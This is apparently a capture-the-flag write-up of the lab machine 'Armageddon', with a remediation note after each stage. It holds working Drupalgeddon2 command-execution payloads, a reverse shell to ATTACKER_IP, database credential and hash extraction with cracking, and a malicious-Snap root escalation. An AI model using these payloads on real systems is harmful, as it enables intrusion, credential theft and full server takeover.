Armageddon
Summary
The target web server hosted an unpatched Drupal 7 CMS susceptible to CVE-2018-7600 (Drupalgeddon2), which let me execute operating-system commands without any credentials whatsoever. Through that foothold as the Apache web service account, I read the Drupal configuration file — which stores the database password in plain text — and queried the local MySQL database to extract the site administrator's password hash.
The hash cracked in seconds: the administrator had chosen the trivially guessable password '[REDACTED: recovered credential]' and reused it as their Linux system account password, giving me immediate SSH access and the user flag. Finally, a dangerously broad sudo rule allowed that user account to install Snap packages as root with no password; I crafted a malicious Snap whose install hook copied a SUID-root Bash binary, achieving full root control of the server.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80 $TARGETcurl -s http://$TARGET/CHANGELOG.txt | head -10Exact commands 3
curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami%3Bid" --data 'form_id=user_pass&_triggering_element_name=name'nc -lvnp 4444curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2FATTACKER_IP%2F4444+0%3E%261%27" --data 'form_id=user_pass&_triggering_element_name=name'FixPatch Drupal immediately to close the Drupalgeddon2 remote code execution vulnerabilityCritical
Exact commands 2
curl -s -X POST "http://$TARGET/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=cat+/var/www/html/sites/default/settings.php" --data 'form_id=user_pass&_triggering_element_name=name'mysql -u drupaluser -p'[REDACTED: recovered credential]' drupal -e 'SELECT uid, name, pass FROM users;'Exact commands 3
echo '[REDACTED: password hash]' > drupal_hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt drupal_hash.txtjohn --show drupal_hash.txtFixEnforce strong unique passwords and disable password-based SSH login for system accountsHigh
Exact commands 1
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 brucetherealadmin@$TARGET 'whoami; id; cat /home/brucetherealadmin/user.txt'Exact commands 7
sudo -lwork=$(mktemp -d) && mkdir -p "$work/snap/meta/hooks"cat > "$work/snap/meta/snap.yaml" <<'EOF'
name: armroot3
version: '1.0'
summary: armroot3
description: armroot3
grade: devel
confinement: devmode
EOFprintf '#!/bin/sh\ncp /bin/bash /home/brucetherealadmin/rootbash\nchmod 4755 /home/brucetherealadmin/rootbash\n' > "$work/snap/meta/hooks/install" && chmod +x "$work/snap/meta/hooks/install"cd "$work" && mksquashfs snap armroot3_1.0_all.snap -noappend -comp xzsudo snap install --devmode "$work/armroot3_1.0_all.snap"/home/brucetherealadmin/rootbash -p -c 'id; cat /root/root.txt'FixRemove the unrestricted 'sudo snap install' privilege from all non-root accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |